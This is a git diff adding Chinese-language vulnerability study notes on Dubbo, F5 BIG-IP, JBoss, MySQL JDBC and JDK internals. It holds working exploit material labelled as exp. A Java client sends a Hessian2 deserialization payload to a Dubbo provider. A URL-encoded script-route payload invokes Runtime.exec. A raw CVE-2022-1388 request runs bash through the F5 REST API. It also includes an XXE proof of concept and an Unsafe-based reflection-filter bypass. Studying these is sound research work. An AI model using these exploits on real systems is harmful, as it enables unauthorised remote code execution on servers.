+ catch ( ClassNotFoundException e ) {
+ nodeC = Class.forName("java.util.HashMap$Entry");
+ }
+ Constructor> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
+ nodeCons.setAccessible(true);
+
+ Object tbl = Array.newInstance(nodeC, 2);
+ Array.set(tbl, 0, nodeCons.newInstance(0, root, root, null));
+ Array.set(tbl, 1, nodeCons.newInstance(0, root, root, null));
+ Reflections.setFieldValue(s, "table", tbl);
+
+ ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
+
+ // header.
+ byte[] header = new byte[16];
+ // set magic number.
+ Bytes.short2bytes((short) 0xdabb, header);
+ // set request and serialization flag.
+ header[2] = (byte) ((byte) 0x80 | 2);
+
+ // set request id.
+ Bytes.long2bytes(new Random().nextInt(100000000), header, 4);
+
+ ByteArrayOutputStream hessian2ByteArrayOutputStream = new ByteArrayOutputStream();
+ Hessian2ObjectOutput out = new Hessian2ObjectOutput(hessian2ByteArrayOutputStream);
+
+ out.writeUTF("2.0.2");
+ //todo 此处填写注册中心获取到的service全限定名、版本号、方法名
+ out.writeUTF("com.threedr3am.learn.server.boot.DemoService");
+ out.writeUTF("1.0");
+ out.writeUTF("$invoke");//CVE-2020-11995 $invoke,$invokeAsync,$echo
+ //todo 方法描述不需要修改,因为此处需要指定map的payload去触发
+ out.writeUTF("Ljava/util/Map;");
+ out.writeObject(s);
+ out.writeObject(new HashMap());
+
+ out.flushBuffer();
+ if (out instanceof Cleanable) {
+ ((Cleanable) out).cleanup();
+ }
+
+ Bytes.int2bytes(hessian2ByteArrayOutputStream.size(), header, 12);
+ byteArrayOutputStream.write(header);
+ byteArrayOutputStream.write(hessian2ByteArrayOutputStream.toByteArray());
+
+ byte[] bytes = byteArrayOutputStream.toByteArray();
+
+//todo 此处填写被攻击的dubbo服务提供者地址和端口
+ Socket socket = new Socket("127.0.0.1", 12345);
+ OutputStream outputStream = socket.getOutputStream();
+ outputStream.write(bytes);
+ outputStream.flush();
+ outputStream.close();
+ }
+}
+```
+### CVE-2021-25641
+>Dubbo Provider即服务提供方默认使用dubbo协议来进行RPC通信,而dubbo协议默认是使用Hessian2序列化格式进行对象传输的,不过可以通过更改dubbo协议的第三个flag位字节来更改为使用Kryo或FST序列化格式来进行Dubbo Provider反序列化攻击从而绕过针对Hessian2反序列化相关的限制来达到RCE。
+
+https://www.mi1k7ea.com/2021/06/30/%E6%B5%85%E6%9E%90Dubbo-KryoFST%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%EF%BC%88CVE-2021-25641%EF%BC%89/
+
+```
+CVE-2021-25641 利用版本需要判断
+
+一方面dubbo-common必须<=2.7.3版本另一方面fj的版本要<=1.2.49 并且在2.7.4.1的版本中已经更新了fj版本所以不能使用(只是目前)
+
+```
+~~可以整理一个fastjson利用gadget~~
+
+### CVE-2021-30179
+
+分析:https://mp.weixin.qq.com/s/vHJpE2fZ8Lne-xFggoQiAg
+实验:https://mp.weixin.qq.com/s?__biz=MzA4NzUwMzc3NQ==&mid=2247488856&idx=1&sn=ee37514a5bfbf8c35f4ec661a4c7d45a&chksm=903933a8a74ebabecaf9428995491494f20e5b24a15f8d52e79d3a9dac601620c21d097cdc1f&scene=21#wechat_redirect
+
+```
+Apache Dubbo 2.7.0 to 2.7.9
+Apache Dubbo 2.6.0 to 2.6.9
+Apache Dubbo all 2.5.x versions (官方已不再提供支持)
+
+实验:https://mp.weixin.qq.com/s?__biz=MzA4NzUwMzc3NQ==&mid=2247488856&idx=1&sn=ee37514a5bfbf8c35f4ec661a4c7d45a&chksm=903933a8a74ebabecaf9428995491494f20e5b24a15f8d52e79d3a9dac601620c21d097cdc1f&scene=21#wechat_redirect
+
+```
+exp:https://github.com/lz2y/DubboPOC
+```
+Apache Dubbo默认支持泛化引用由服务端API接口暴露的所有方法,这些调用由GenericFilter处理。GenericFilter将根据客户端提供的接口名、方法名、方法参数类型列表,根据反射机制获取对应的方法,再根据客户端提供的反序列化方式将参数进行反序列化成pojo对象。
+
+也就是说需要知道注册中心注册的接口名,方法名,才可以配合攻击。
+```
+也就是需要存在无授权服务注册中心比如zookeeper的无授权去获得接口名和方法名。使用工具**zookeeper-dev-ZooInspector.jar**
+
+**个人认为CVE-2021-30179的主要思路就是Apache Dubbo在处理泛类引用时,提供了多种通过反序列化方式得到对象再生成pojo对象的选择。** 三梦师傅说跟这个思路扩大了反序列化挖掘思路
+
+### CVE-2021-30181
+
+https://articles.zsxq.com/id_28iczv3uhbtk.html
+
+```exp
+script%3A%2F%2F127.0.0.1%2Fcom.threedr3am.learn.server.boot.DemoService%3Fapplication%3Ddubbo-consumer%26category%3Drouters%26check%3Dfalse%26dubbo%3D2.0.2%26init%3Dfalse%26interface%3Dcom.threedr3am.learn.server.boot.DemoService%26metadata-type%3Dremote%26methods%3Dhello%26pid%3D53953%26qos.enable%3Dfalse%26release%3D2.7.7%26revision%3D1.0%26side%3Dconsumer%26sticky%3Dfalse%26timestamp%3D1622381389749%26version%3D1.0%26route%3Dscript%26type%3Djavascript%26rule%3Ds%253D%255B3%255D%253Bs%255B0%255D%253D'%252Fbin%252Fbash'%253Bs%255B1%255D%253D'-c'%253Bs%255B2%255D%253D'open%2520-a%2520calculator'%253Bjava.lang.Runtime.getRuntime().exec(s)%253B
+```
+
+### Dubbo反序列化RCE利用之新拓展面 - Dubbo Rouge攻击客户端
+
+https://xz.aliyun.com/t/7354
+
+**文章中有一点非常强**
+
+
+在一次看了threedr3am师傅的文章太精彩了,简单的说就是通过注册中心上注册恶意rpc服务并且设置序列化为java原生序列化,等待客户端去连接。
+也就是**rouge**,中文名称叫胭脂,hhh 有点美人计的味道了。
+
+### CVE-2021-43297
+
+https://paper.seebug.org/1814/
+
+### Dubbo 2.7.8多个远程代码执行漏洞
+
+https://xz.aliyun.com/t/8917
+
+### CVE-2021-36162
+
+[Apache Dubbo CVE-2021-36162 挖掘过程
+](https://mp.weixin.qq.com/s?__biz=MzkyMTI0NjA3OA==&mid=2247487450&idx=1&sn=895a573a105cff858990df8bb88aafc5&chksm=c187cfcbf6f046ddbe75a826d851ebeafbcc7449e728a6be0e3ad60279ae7689ef14d4181757&mpshare=1&scene=23&srcid=0323KHKv3qtNyGs5a4jlCoz5&sharer_sharetime=1648033016703&sharer_shareid=33fdea7abe6be586e131951d667ccd06#rd)
diff --git a/F5 big/Readme.md b/F5 big/Readme.md
new file mode 100644
index 0000000..cfc206f
--- /dev/null
+++ b/F5 big/Readme.md
@@ -0,0 +1,28 @@
+# F5 big
+
+F5 Networks K52145254:TMUI RCE 漏洞 CVE-2020-5902
++ [HSQLDB反序列化](https://buaq.net/go-84779.html)
+
+
+F5 BIGIP iControl REST CVE-2021-22986
++ [脚本小子是如何复现漏洞(CVE-2021-22986)并实现批量利用](https://mp.weixin.qq.com/s/cavKq04hNU5pJoTBiPMZkw)
++ [F5 BIGIP iControl REST CVE-2021-22986漏洞分析与利用](https://www.anquanke.com/post/id/236159)
++ [F5 BIG-IP Cookie 信息泄露利用工具](https://mp.weixin.qq.com/s/RzYSA1ADrIQYQxqjug62sg)
++ [漏洞复现-F5 BIG-IP远程代码执行漏洞(CVE-2021-22986)](https://mp.weixin.qq.com/s/CDST3_FcVM8tvB0hTlrsJg)
+
+CVE-2022-1388
++ [BIG-IP(CVE-2022-1388)从修复方案分析出exp](https://mp.weixin.qq.com/s/6gVZVRSDRmeGcNYjTldw1Q)
+```
+POST /mgmt/tm/util/bash HTTP/1.1
+Host:
+Connection: keep-alive, X-F5-Auth-Token
+Authorization: Basic YWRtaW46QVNhc1M=
+Content-Length: 45
+
+{
+"command":"run",
+"utilCmdArgs":"-c id"
+}
+```
++ [CVE-2022-1388 F5 BIG-IP iControl REST 处理进程分析与认证绕过漏洞复现](https://mp.weixin.qq.com/s/DR0RGE0lhBjBIF3TbDLhMw)
++ [CVE-2022-1388:扩展攻击之文件写入](https://mp.weixin.qq.com/s?__biz=MzkwMzM2NDE5OQ==&mid=2247483731&idx=1&sn=6ac2832719258adbbcf718984558d2cb&chksm=c0962a5bf7e1a34daeb3cfbd92b3de27718aa372374b022e5d7f0ab0923e585012d7be7c429d&scene=132#wechat_redirect) **写入的地址/usr/local/www/**
diff --git a/JNI/Readme.md b/JNI/Readme.md
new file mode 100644
index 0000000..167b0db
--- /dev/null
+++ b/JNI/Readme.md
@@ -0,0 +1,3 @@
+# JNI
+
+**通过System.load(path) 去加载dll文件不要求后缀名,可以为任意的后缀名,只有能找到路径。**
diff --git a/JVM/Readme.md b/JVM/Readme.md
new file mode 100644
index 0000000..5c66caf
--- /dev/null
+++ b/JVM/Readme.md
@@ -0,0 +1,5 @@
+# JVM
+
+>自己在学习jvm这本书会记录其中的知识点.
+
++ [通过实例一行一行分析JVM的invokespecial和invokevirtual指令](http://wxweven.win/2017/09/15/JVM-invokespecial%E5%92%8Cinvokevirtual/)
diff --git a/Jboss/README.md b/Jboss/README.md
index 0a7263d..6e56210 100644
--- a/Jboss/README.md
+++ b/Jboss/README.md
@@ -1,6 +1,508 @@
-## jboss介绍:
+# jboss介绍:
JBoss 是一个基于J2EE的[开放源代码](https://baike.baidu.com/item/开放源代码/114160)的[应用服务器](https://baike.baidu.com/item/应用服务器/4971773)。 JBoss代码遵循LGPL许可,可以在任何商业应用中免费使用。JBoss是一个管理EJB的容器和服务器,支持EJB 1.1、EJB 2.0和EJB3的规范。但JBoss核心服务不包括支持servlet/JSP的WEB容器,一般与Tomcat或Jetty绑定使用。
自己测试了网上很多工具发现不是特别好用 而且不集中。。。。
所以自己想写一个综合利用的工具。。。
+
++ [JBOSS CVE-2017-12149 WAF绕过之旅](https://www.yulegeyu.com/2021/03/05/JBOSS-CVE-2017-12149-WAF%E7%BB%95%E8%BF%87%E4%B9%8B%E6%97%85/)
+
+## 反序列化漏洞
+bypass 请求方式是HEAD
+
+**endpoint**
+```
+/invoker/readonly 是一个filter 请求方法随便并且url后面可以加其他的
+/invoker/EJBInvokerServlet
+/invoker/JMXInvokerServlet
+/invoker/readonly/JMXInvokerServlet
+/invoker/restricted/JMXInvokerServlet
+```
+http-invoker.sar 组件的问题
+
+web.xml
+
+```xml
+
+
+
+
+
+
+ ReadOnlyAccessFilter
+ org.jboss.invocation.http.servlet.ReadOnlyAccessFilter
+
+ readOnlyContext
+ readonly
+ The top level JNDI context the filter will enforce
+ read-only access on. If specified only Context.lookup operations
+ will be allowed on this context. Another other operations or lookups
+ on any other context will fail. Do not associate this filter with the
+ JMXInvokerServlets if you want unrestricted access.
+
+
+
+ invokerName
+ jboss:service=NamingBeanImpl
+ The JMX ObjectName of the naming service mbean
+
+
+
+
+
+ ReadOnlyAccessFilter
+ /readonly/*
+
+
+
+
+ EJBInvokerServlet
+ The EJBInvokerServlet receives posts containing serlized
+ MarshalledInvocation objects that are routed to the EJB invoker given by
+ the invokerName init-param. The return content is a serialized
+ MarshalledValue containg the return value of the inovocation, or any
+ exception that may have been thrown.
+
+ org.jboss.invocation.http.servlet.InvokerServlet
+
+ invokerName
+ jboss:service=invoker,type=http
+ The RMI/HTTP EJB compatible invoker
+
+ 1
+
+
+ JMXInvokerServlet
+ The JMXInvokerServlet receives posts containing serlized
+ MarshalledInvocation objects that are routed to the invoker given by
+ the the MBean whose object name hash is specified by the
+ invocation.getObjectName() value. The return content is a serialized
+ MarshalledValue containg the return value of the inovocation, or any
+ exception that may have been thrown.
+
+ org.jboss.invocation.http.servlet.InvokerServlet
+ 1
+
+
+
+ JNDIFactory
+ A servlet that exposes the JBoss JNDI Naming service stub
+ through http. The return content is a serialized
+ MarshalledValue containg the org.jnp.interfaces.Naming stub. This
+ configuration handles requests for the standard JNDI naming service.
+
+ org.jboss.invocation.http.servlet.NamingFactoryServlet
+
+ namingProxyMBean
+ jboss:service=invoker,type=http,target=Naming
+
+
+ proxyAttribute
+ Proxy
+
+ 2
+
+
+
+ ReadOnlyJNDIFactory
+ A servlet that exposes the JBoss JNDI Naming service stub
+ through http, but only for a single read-only context. The return content
+ is a serialized MarshalledValue containg the org.jnp.interfaces.Naming
+ stub.
+
+ org.jboss.invocation.http.servlet.NamingFactoryServlet
+
+ namingProxyMBean
+ jboss:service=invoker,type=http,target=Naming,readonly=true
+
+
+ proxyAttribute
+ Proxy
+
+ 2
+
+
+
+
+ JNDIFactory
+ /JNDIFactory/*
+
+
+
+ ReadOnlyJNDIFactory
+ /ReadOnlyJNDIFactory/*
+
+
+ EJBInvokerServlet
+ /EJBInvokerServlet/*
+
+
+ JMXInvokerServlet
+ /JMXInvokerServlet/*
+
+
+
+ JMXInvokerServlet
+ /readonly/JMXInvokerServlet/*
+
+
+
+
+ JNDIFactory
+ /restricted/JNDIFactory/*
+
+
+ JMXInvokerServlet
+ /restricted/JMXInvokerServlet/*
+
+
+
+
+
+ HttpInvokers
+ An example security config that only allows users with the
+ role HttpInvoker to access the HTTP invoker servlets
+
+ /restricted/*
+ GET
+ POST
+
+
+ HttpInvoker
+
+
+
+ BASIC
+ JBoss HTTP Invoker
+
+
+
+ HttpInvoker
+
+
+```
+org.jboss.invocation.http.servlet.ReadOnlyAccessFilter
+```java
+//
+// Source code recreated from a .class file by IntelliJ IDEA
+// (powered by FernFlower decompiler)
+//
+
+package org.jboss.invocation.http.servlet;
+
+import java.io.IOException;
+import java.io.ObjectInputStream;
+import java.lang.reflect.Method;
+import java.security.Principal;
+import java.util.Map;
+import javax.management.MBeanServer;
+import javax.management.ObjectName;
+import javax.servlet.Filter;
+import javax.servlet.FilterChain;
+import javax.servlet.FilterConfig;
+import javax.servlet.ServletException;
+import javax.servlet.ServletInputStream;
+import javax.servlet.ServletRequest;
+import javax.servlet.ServletResponse;
+import javax.servlet.http.HttpServletRequest;
+import org.jboss.invocation.MarshalledInvocation;
+import org.jboss.logging.Logger;
+import org.jboss.mx.util.MBeanServerLocator;
+
+public class ReadOnlyAccessFilter implements Filter {
+ private static Logger log = Logger.getLogger(ReadOnlyAccessFilter.class);
+ private FilterConfig filterConfig = null;
+ private String readOnlyContext;
+ private Map namingMethodMap;
+
+ public ReadOnlyAccessFilter() {
+ }
+
+ public void init(FilterConfig filterConfig) throws ServletException {
+ this.filterConfig = filterConfig;
+ if (filterConfig != null) {
+ this.readOnlyContext = filterConfig.getInitParameter("readOnlyContext");
+ String invokerName = filterConfig.getInitParameter("invokerName");
+
+ try {
+ MBeanServer mbeanServer = MBeanServerLocator.locateJBoss();
+ ObjectName mbean = new ObjectName(invokerName);
+ this.namingMethodMap = (Map)mbeanServer.getAttribute(mbean, "MethodMap");
+ } catch (Exception var5) {
+ log.error("Failed to init ReadOnlyAccessFilter", var5);
+ throw new ServletException("Failed to init ReadOnlyAccessFilter", var5);
+ }
+ }
+
+ }
+
+ public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
+ HttpServletRequest httpRequest = (HttpServletRequest)request;
+ Principal user = httpRequest.getUserPrincipal();
+ if (user == null && this.readOnlyContext != null) {
+ ServletInputStream sis = request.getInputStream();
+ ObjectInputStream ois = new ObjectInputStream(sis);
+ MarshalledInvocation mi = null;
+
+ try {
+ mi = (MarshalledInvocation)ois.readObject();
+ } catch (ClassNotFoundException var10) {
+ throw new ServletException("Failed to read MarshalledInvocation", var10);
+ }
+
+ request.setAttribute("MarshalledInvocation", mi);
+ mi.setMethodMap(this.namingMethodMap);
+ Method m = mi.getMethod();
+ if (m != null) {
+ this.validateAccess(m, mi);
+ }
+ }
+
+ chain.doFilter(request, response);
+ }
+
+ public void destroy() {
+ }
+
+ public String toString() {
+ if (this.filterConfig == null) {
+ return "NamingAccessFilter()";
+ } else {
+ StringBuffer sb = new StringBuffer("NamingAccessFilter(");
+ sb.append(this.filterConfig);
+ sb.append(")");
+ return sb.toString();
+ }
+ }
+
+ private void validateAccess(Method m, MarshalledInvocation mi) throws ServletException {
+ boolean trace = log.isTraceEnabled();
+ if (trace) {
+ log.trace("Checking against readOnlyContext: " + this.readOnlyContext);
+ }
+
+ String methodName = m.getName();
+ if (!methodName.equals("lookup")) {
+ throw new ServletException("Only lookups against " + this.readOnlyContext + " are allowed");
+ } else {
+ Object[] args = mi.getArguments();
+ Object arg = args.length > 0 ? args[0] : "";
+ String name;
+ if (arg instanceof String) {
+ name = (String)arg;
+ } else {
+ name = arg.toString();
+ }
+
+ if (trace) {
+ log.trace("Checking lookup(" + name + ") against: " + this.readOnlyContext);
+ }
+
+ if (!name.startsWith(this.readOnlyContext)) {
+ throw new ServletException("Lookup(" + name + ") is not under: " + this.readOnlyContext);
+ }
+ }
+ }
+}
+```
+org.jboss.invocation.http.servlet.InvokerServlet
+```java
+//
+// Source code recreated from a .class file by IntelliJ IDEA
+// (powered by FernFlower decompiler)
+//
+
+package org.jboss.invocation.http.servlet;
+
+import java.io.IOException;
+import java.io.ObjectInputStream;
+import java.io.ObjectOutputStream;
+import java.lang.reflect.InvocationTargetException;
+import java.security.AccessController;
+import java.security.Principal;
+import java.security.PrivilegedAction;
+import javax.management.MBeanServer;
+import javax.management.MalformedObjectNameException;
+import javax.management.ObjectName;
+import javax.servlet.ServletConfig;
+import javax.servlet.ServletException;
+import javax.servlet.ServletInputStream;
+import javax.servlet.ServletOutputStream;
+import javax.servlet.http.HttpServlet;
+import javax.servlet.http.HttpServletRequest;
+import javax.servlet.http.HttpServletResponse;
+import org.jboss.invocation.InvocationException;
+import org.jboss.invocation.MarshalledInvocation;
+import org.jboss.invocation.MarshalledValue;
+import org.jboss.logging.Logger;
+import org.jboss.mx.util.JMXExceptionDecoder;
+import org.jboss.mx.util.MBeanServerLocator;
+import org.jboss.security.SecurityAssociation;
+import org.jboss.system.Registry;
+
+public class InvokerServlet extends HttpServlet {
+ private static Logger log = Logger.getLogger(InvokerServlet.class);
+ private static String REQUEST_CONTENT_TYPE = "application/x-java-serialized-object; class=org.jboss.invocation.MarshalledInvocation";
+ private static String RESPONSE_CONTENT_TYPE = "application/x-java-serialized-object; class=org.jboss.invocation.MarshalledValue";
+ private MBeanServer mbeanServer;
+ private ObjectName localInvokerName;
+
+ public InvokerServlet() {
+ }
+
+ public void init(ServletConfig config) throws ServletException {
+ super.init(config);
+
+ try {
+ String name = config.getInitParameter("invokerName");
+ if (name != null) {
+ this.localInvokerName = new ObjectName(name);
+ log.debug("localInvokerName=" + this.localInvokerName);
+ }
+ } catch (MalformedObjectNameException var3) {
+ throw new ServletException("Failed to build invokerName", var3);
+ }
+
+ this.mbeanServer = MBeanServerLocator.locateJBoss();
+ if (this.mbeanServer == null) {
+ throw new ServletException("Failed to locate the MBeanServer");
+ }
+ }
+
+ public void destroy() {
+ }
+
+ protected void processRequest(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
+ boolean trace = log.isTraceEnabled();
+ if (trace) {
+ log.trace("processRequest, ContentLength: " + request.getContentLength());
+ log.trace("processRequest, ContentType: " + request.getContentType());
+ }
+
+ Boolean returnValueAsAttribute = (Boolean)request.getAttribute("returnValueAsAttribute");
+
+ try {
+ response.setContentType(RESPONSE_CONTENT_TYPE);
+ MarshalledInvocation mi = (MarshalledInvocation)request.getAttribute("MarshalledInvocation");
+ if (mi == null) {
+ ServletInputStream sis = request.getInputStream();
+ ObjectInputStream ois = new ObjectInputStream(sis);
+ mi = (MarshalledInvocation)ois.readObject();
+ ois.close();
+ }
+
+ if (mi.getPrincipal() == null && mi.getCredential() == null) {
+ mi.setPrincipal(InvokerServlet.GetPrincipalAction.getPrincipal());
+ mi.setCredential(InvokerServlet.GetCredentialAction.getCredential());
+ }
+
+ Object[] params = new Object[]{mi};
+ String[] sig = new String[]{"org.jboss.invocation.Invocation"};
+ ObjectName invokerName = this.localInvokerName;
+ if (invokerName == null) {
+ Integer nameHash = (Integer)mi.getObjectName();
+ invokerName = (ObjectName)Registry.lookup(nameHash);
+ if (invokerName == null) {
+ throw new ServletException("Failed to find invoker name for hash(" + nameHash + ")");
+ }
+ }
+
+ Object value = this.mbeanServer.invoke(invokerName, "invoke", params, sig);
+ if (returnValueAsAttribute != null && returnValueAsAttribute) {
+ request.setAttribute("returnValue", value);
+ } else {
+ MarshalledValue mv = new MarshalledValue(value);
+ ServletOutputStream sos = response.getOutputStream();
+ ObjectOutputStream oos = new ObjectOutputStream(sos);
+ oos.writeObject(mv);
+ oos.close();
+ }
+ } catch (Throwable var13) {
+ Throwable t = JMXExceptionDecoder.decode(var13);
+ if (t instanceof InvocationTargetException) {
+ InvocationTargetException ite = (InvocationTargetException)t;
+ t = ite.getTargetException();
+ }
+
+ InvocationException appException = new InvocationException(t);
+ if (returnValueAsAttribute != null && returnValueAsAttribute) {
+ log.debug("Invoke threw exception", t);
+ request.setAttribute("returnValue", appException);
+ } else if (response.isCommitted()) {
+ log.error("Invoke threw exception, and response is already committed", t);
+ } else {
+ response.resetBuffer();
+ MarshalledValue mv = new MarshalledValue(appException);
+ ServletOutputStream sos = response.getOutputStream();
+ ObjectOutputStream oos = new ObjectOutputStream(sos);
+ oos.writeObject(mv);
+ oos.close();
+ }
+ }
+
+ }
+
+ protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
+ this.processRequest(request, response);
+ }
+
+ protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
+ this.processRequest(request, response);
+ }
+
+ public String getServletInfo() {
+ return "An HTTP to JMX invocation servlet";
+ }
+
+ private static class GetCredentialAction implements PrivilegedAction {
+ static PrivilegedAction ACTION = new InvokerServlet.GetCredentialAction();
+
+ private GetCredentialAction() {
+ }
+
+ public Object run() {
+ Object credential = SecurityAssociation.getCredential();
+ return credential;
+ }
+
+ static Object getCredential() {
+ Object credential = AccessController.doPrivileged(ACTION);
+ return credential;
+ }
+ }
+
+ private static class GetPrincipalAction implements PrivilegedAction {
+ static PrivilegedAction ACTION = new InvokerServlet.GetPrincipalAction();
+
+ private GetPrincipalAction() {
+ }
+
+ public Object run() {
+ Principal principal = SecurityAssociation.getPrincipal();
+ return principal;
+ }
+
+ static Principal getPrincipal() {
+ Principal principal = (Principal)AccessController.doPrivileged(ACTION);
+ return principal;
+ }
+ }
+}
+```
diff --git a/Jdbc/CVE-2021-2471/Readme.md b/Jdbc/CVE-2021-2471/Readme.md
new file mode 100644
index 0000000..a37a405
--- /dev/null
+++ b/Jdbc/CVE-2021-2471/Readme.md
@@ -0,0 +1,90 @@
+# CVE-2021-2471
+
+By Firebasky
+
+>昨天晚上看twitter,发现jdbc出现了一个xxe漏洞,比较感兴趣,阿里给了介绍但是没有给exp。
+>
+>https://mp.weixin.qq.com/s/erIFMiPNB2XSBJSqXyxuKg
+
+## 分析
+
+文章中介绍了是`getSource`函数造成的原因,那我们就需要先找到这个函数的类。漏洞版本是MySQL JDBC 8.0.27版本之前。所以我们创建maven项目并且添加jdbc的组件。https://mvnrepository.com/artifact/mysql/mysql-connector-java/8.0.26
+
+```xml
+
+
+ mysql
+ mysql-connector-java
+ 8.0.26
+
+```
+
+### 全局搜索
+
+然后搜索getSource函数利用(全局搜索)
+
+
+
+大概是这个在跟进他的实现。确实是这个。。
+
+
+
+### 对比发现漏洞
+
+如果上面的方法感觉不好,那么可以对比来实现,因为文章中介绍了MySQL JDBC 8.0.27版本之前,说明MySQL JDBC 8.0.27就修复了漏洞,那我们下载MySQL JDBC 8.0.27和MySQL JDBC 8.0.26 来使用工具对比jar包看看不一样的地方是啥。
+
+https://github.com/GraxCode/cafecompare
+
+
+
+
+
+现在具体看看**com.mysql.cj.jdbc.getSource**函数
+
+
+
+我们在看看**this.stringRep**怎么设置的
+
+
+
+然后现在去看看怎么调用这个**getSource**函数,就去看看他的接口
+
+
+
+那么现在问题就是创建一个SQLXML对象就欧克,就可以调用其getSource和setString方法。
+
+https://www.docs4dev.com/docs/zh/java/java8/tutorials/jdbc-basics-sqlxml.html#creating_sqlxml
+
+
+
+## exp
+
+```java
+package CVE;
+
+import javax.xml.transform.dom.DOMSource;
+import java.sql.Connection;
+import java.sql.DriverManager;
+import java.sql.SQLException;
+import java.sql.SQLXML;
+
+public class CVE_2021_2471 {
+ public static void main(String[] args) throws SQLException {
+ String poc = "\n" +
+ "\n" +
+ "\n" +
+ "]>\n" +
+ "&sp;";
+ Connection connection = DriverManager.getConnection("jdbc:mysql://127.0.0.1:3306/test", "root", "0210520");
+ SQLXML sqlxml = connection.createSQLXML();
+ sqlxml.setString(poc);
+ sqlxml.getSource(DOMSource.class);//为了绕过clazz.equals(DOMSource.class)
+ }
+}
+```
+
+## 效果
+
+
+
diff --git a/Jdbc/CVE-2021-2471/img/image-20211022135316052.png b/Jdbc/CVE-2021-2471/img/image-20211022135316052.png
new file mode 100644
index 0000000..e2d9f1d
Binary files /dev/null and b/Jdbc/CVE-2021-2471/img/image-20211022135316052.png differ
diff --git a/Jdbc/CVE-2021-2471/img/image-20211022135425801.png b/Jdbc/CVE-2021-2471/img/image-20211022135425801.png
new file mode 100644
index 0000000..147258a
Binary files /dev/null and b/Jdbc/CVE-2021-2471/img/image-20211022135425801.png differ
diff --git a/Jdbc/CVE-2021-2471/img/image-20211022140911655.png b/Jdbc/CVE-2021-2471/img/image-20211022140911655.png
new file mode 100644
index 0000000..bcf9502
Binary files /dev/null and b/Jdbc/CVE-2021-2471/img/image-20211022140911655.png differ
diff --git a/Jdbc/CVE-2021-2471/img/image-20211022141357429.png b/Jdbc/CVE-2021-2471/img/image-20211022141357429.png
new file mode 100644
index 0000000..7bae134
Binary files /dev/null and b/Jdbc/CVE-2021-2471/img/image-20211022141357429.png differ
diff --git a/Jdbc/CVE-2021-2471/img/image-20211022141453082.png b/Jdbc/CVE-2021-2471/img/image-20211022141453082.png
new file mode 100644
index 0000000..2bee66b
Binary files /dev/null and b/Jdbc/CVE-2021-2471/img/image-20211022141453082.png differ
diff --git a/Jdbc/CVE-2021-2471/img/image-20211022141712911.png b/Jdbc/CVE-2021-2471/img/image-20211022141712911.png
new file mode 100644
index 0000000..c967890
Binary files /dev/null and b/Jdbc/CVE-2021-2471/img/image-20211022141712911.png differ
diff --git a/Jdbc/CVE-2021-2471/img/image-20211022142111106.png b/Jdbc/CVE-2021-2471/img/image-20211022142111106.png
new file mode 100644
index 0000000..44a3c5e
Binary files /dev/null and b/Jdbc/CVE-2021-2471/img/image-20211022142111106.png differ
diff --git a/Jdbc/CVE-2021-2471/img/image-20211022142331574.png b/Jdbc/CVE-2021-2471/img/image-20211022142331574.png
new file mode 100644
index 0000000..0a8d3b0
Binary files /dev/null and b/Jdbc/CVE-2021-2471/img/image-20211022142331574.png differ
diff --git a/Jdbc/Readme.md b/Jdbc/Readme.md
index 23848a2..a9a133a 100644
--- a/Jdbc/Readme.md
+++ b/Jdbc/Readme.md
@@ -2,3 +2,8 @@
>JDBC(Java DataBase Connectivity)是Java和数据库之间的一个桥梁,是一个 规范 而不是一个实现,能够执行SQL语句。它由一组用Java语言编写的类和接口组成。各种不同类型的数据库都有相应的实现。
+ MySQL JDBC 客户端反序列化漏洞[参考文章](https://xz.aliyun.com/t/8159) [自己调试的漏洞点](./img/1.png) [自己调试的漏洞点](./img/2.png)**J简单的说:在JDBC连接MySQL的过程中,执行了SHOW SESSION STATUS语句。而如果我们控制返回的结果是一个恶意的对象,jdbc就会去执行readobject方法反序列化,从而有入口点,在利用cc链,完美rce。**
+
+## 其他利用
+jdbc 利用方式太多了,慢慢学习(重学)
+
++ [由CVE-2022-21724引申jdbc漏洞](https://mp.weixin.qq.com/s?__biz=MzUzNDMyNjI3Mg==&mid=2247485275&idx=1&sn=e06b07579ecef87f8cce4536d25789ce&chksm=fa973a34cde0b322ef3949c2cf7fc6bf31e945674d2fe313a3dbf63504bdf737f05cba65de18&mpshare=1&scene=23&srcid=0414XqOEScLh3JIaaHk9pp4v&sharer_sharetime=1649906865169&sharer_shareid=33fdea7abe6be586e131951d667ccd06#rd)
diff --git a/Jdk/Readme.md b/Jdk/Readme.md
new file mode 100644
index 0000000..7c4acd2
--- /dev/null
+++ b/Jdk/Readme.md
@@ -0,0 +1,170 @@
+# JDK
+
+jdk>12不能反射修改下面class的成员。
+
+思路是通过unsafe api去修改Reflection类的成员,赋值为null.
+```java
+
+import sun.misc.Unsafe;
+import java.io.ByteArrayOutputStream;
+import java.io.InputStream;
+import java.lang.reflect.Field;
+import java.util.HashMap;
+
+public class bypass {
+ private static Unsafe getUnsafe() {
+ Unsafe unsafe = null;
+ try {
+ Field field = Unsafe.class.getDeclaredField("theUnsafe");
+ field.setAccessible(true);
+ unsafe = (Unsafe) field.get(null);
+ } catch (Exception e) {
+ throw new AssertionError(e);
+ }
+ return unsafe;
+ }
+ public static byte[] readInputStream(InputStream inputStream) {
+ byte[] temp = new byte[4096];
+ int readOneNum = 0;
+ ByteArrayOutputStream bos = new ByteArrayOutputStream();
+ try {
+ while ((readOneNum = inputStream.read(temp)) != -1) {
+ bos.write(temp, 0, readOneNum);
+ }
+ inputStream.close();
+ }catch (Exception e){
+ }
+ return bos.toByteArray();
+ }
+
+ public void bypassReflectionFilter()throws Exception{
+ Unsafe unsafe = getUnsafe();
+ Class reflectionClass=Class.forName("jdk.internal.reflect.Reflection");
+ byte[] classBuffer = readInputStream(reflectionClass.getResourceAsStream("Reflection.class"));
+ //定义一个类,但不让类加载器知道它。
+ Class reflectionAnonymousClass = unsafe.defineAnonymousClass(reflectionClass,classBuffer,null);
+
+ Field fieldFilterMapField=reflectionAnonymousClass.getDeclaredField("fieldFilterMap");
+ //不需要
+ //Field methodFilterMapField=reflectionAnonymousClass.getDeclaredField("methodFilterMap");
+
+ if(fieldFilterMapField.getType().isAssignableFrom(HashMap.class)){
+ unsafe.putObject(reflectionClass,unsafe.staticFieldOffset(fieldFilterMapField),new HashMap());
